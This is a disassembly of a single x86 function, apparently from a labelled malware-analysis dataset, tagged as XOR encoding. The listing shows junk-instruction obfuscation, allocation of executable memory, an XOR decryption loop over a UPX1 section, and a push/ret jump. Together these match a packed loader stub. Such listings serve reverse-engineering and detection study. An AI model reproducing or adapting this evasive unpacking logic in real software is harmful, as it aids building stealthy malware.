Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd49cf64a
mov esi, 0xe7ad57ca
inc esi
or esi, esi
popal
mov esi, eax
sub esi, eax
sub eax, 0x2d422b47
mov edi, 0
mov eax, esi
and ebx, edx
sub edx, ebx
not edx
mov ecx, eax
mov edx, 0xa6d5b835
add edx, ebx
mov esi, ecx
sub ebx, edx
mov ebx, 0xb7c84b93
inc edi
dec ebx
dec edx
mov ebx, edx
cmp edi, 0x1002d1c
jne 0xa789ca
inc edx
sub edx, ebx
add esi, esi
and eax, esi
mov edi, 0xa78796
not ebx
dec edx
and esi, ebx
mov eax, 0xa7898a
mov esi, 0x6f288c2f
mov ebx, esi
mov ecx, dword [edi]
or edx, ebx
sub edx, 1
or esi, edx
and ecx, 0xff
add ebx, ebx
sub esi, 1
add ebx, 0x9b35edbe
xor dword [eax], ecx
inc ebx
add esi, 0xbeef4981
inc eax
and esi, edx
and edx, esi
sub edx, ebx
inc edi
mov ebx, edx
add ebx, 0x7eaa140a
dec edx
cmp eax, entry0
jl 0xa78a12
add ebx, esi
inc ebx
add edx, ebx
inc ebx
or esi, edx
and ebx, ecx
sub ecx, 0x4d29ba0e
add esi, 0xf54e8ab0
mov edx, 0xa7898e
or esi, ecx
not edi
or ecx, ecx
mov edx, dword [edx]
sub ebx, 0x40ed5f6a
add esi, 0x83eb4a7
sub esi, 0x6c5c853d
mov edx, dword [edx]
add ecx, esi
mov esi, edi
sub esp, 4
mov dword [esp], edx
and ebx, ebx
sub ebx, 0x5b37f0e1
mov edx, 0xa7898a
add ecx, 0x4a522b25
not ebx
mov edx, dword [edx]
mov esi, 0xd6e8ef38
sub edi, ecx
mov edx, dword [edx]
not esi
not esi
sub edi, 1
push 0xa78992
sub edi, 0x3b4543a6
mov edi, esi
mov edi, ebx
call edx
or esi, edi
not ecx
mov ebx, edi
pop edx
add edi, esi
sub esi, ebx
push 0xa7899f
mov ecx, ebx
not ecx
mov ecx, ebx
sub esp, 4
mov dword [esp], eax
dec edi
add ebx, 0xb8c9f52e
call edx
dec edi
not ecx
mov edi, ebx
push 0x40
inc ebx
dec edi
mov ebx, 0xbf8d9e89
push 0x3000
add esi, 0xcd25c4c0
mov ebx, ecx
sub edi, 0xe64f64e4
push 0x20000668
sub ebx, 0x89ab1dfe
inc ebx
push 0
not esi
sub esi, 0x6b231fcc
sub esi, ebx
call eax
sub ecx, 0x448f3ec8
not ecx
sub edi, 1
add eax, 0x200005af
sub ecx, 0x2ee43e5f
mov esi, 0xcc2c9182
mov edx, 0x4f74cbff
add ebx, 0x3378dddb
or esi, ebx
sub ebx, ecx
mov dword [eax], edx
sub ecx, esi
mov edi, ecx
sub ebx, 0xd077d6a8
mov edx, dword [eax]
mov ebx, ecx
dec ebx
add ebx, 0x25babbd8
cmp edx, 0x4f74cbff
je 0xa78b8e
mov eax, 0
mov ecx, dword [eax]
inc ecx
sub ecx, edi
inc ebx
add ebx, 1
add ecx, ecx
add esi, eax
add eax, eax
add eax, esi
mov edi, section.UPX1
sub esi, 1
sub eax, 0x35407e30
or eax, eax
mov ebx, 0xa78795
dec eax
dec eax
and esi, eax
mov edx, 0
mov eax, esi
add esi, esi
mov ecx, 0xa78796
add eax, esi
add eax, eax
lea ecx, [edx + ecx]
inc eax
add eax, esi
mov ecx, dword [ecx]
mov eax, esi
not esi
and ecx, 0xff
sub eax, 0xfa349949
mov esi, eax
dec eax
add edx, 1
not eax
inc eax
cmp edx, 0x1f4
jne 0xa78bff
mov edx, 0
mov eax, 0x52e92d78
dec esi
or esi, eax
or esi, eax
xor dword [edi], ecx
inc esi
sub eax, 0xf3421bc0
add edi, 2
add esi, 1
not esi
sub esi, 0xa03babc8
cmp edi, ebx
jl 0xa78bc5
sub esi, 0xaec8f3a3
add esi, 0x1c6221c0
inc eax
dec eax
mov edi, section.UPX1
sub edx, ecx
inc edx
or edx, ecx
mov ebx, section.UPX1
mov edx, 0x7ecafc6
sub ecx, 1
mov esi, 0xa78795
or edx, ecx
add edx, edx
mov eax, 0
not edx
not ecx
add ecx, 1
mov al, byte [ebx]
add ecx, 0x9db42bfb
or ecx, ecx
mov byte [edi], al
sub edx, 0x385e24d
sub edx, 0xdda99258
add edi, 1
add edx, edx
sub edx, 0x4ca6d359
add ebx, 2
inc edx
and ecx, edx
inc ecx
cmp ebx, esi
jle 0xa78c6e
add ecx, 0xa1a8a902
add ecx, edx
not ecx
mov esi, eax
mov esi, eax
inc esi
push 0x8dc6a0
add eax, 0xd125ce1f
dec esi
ret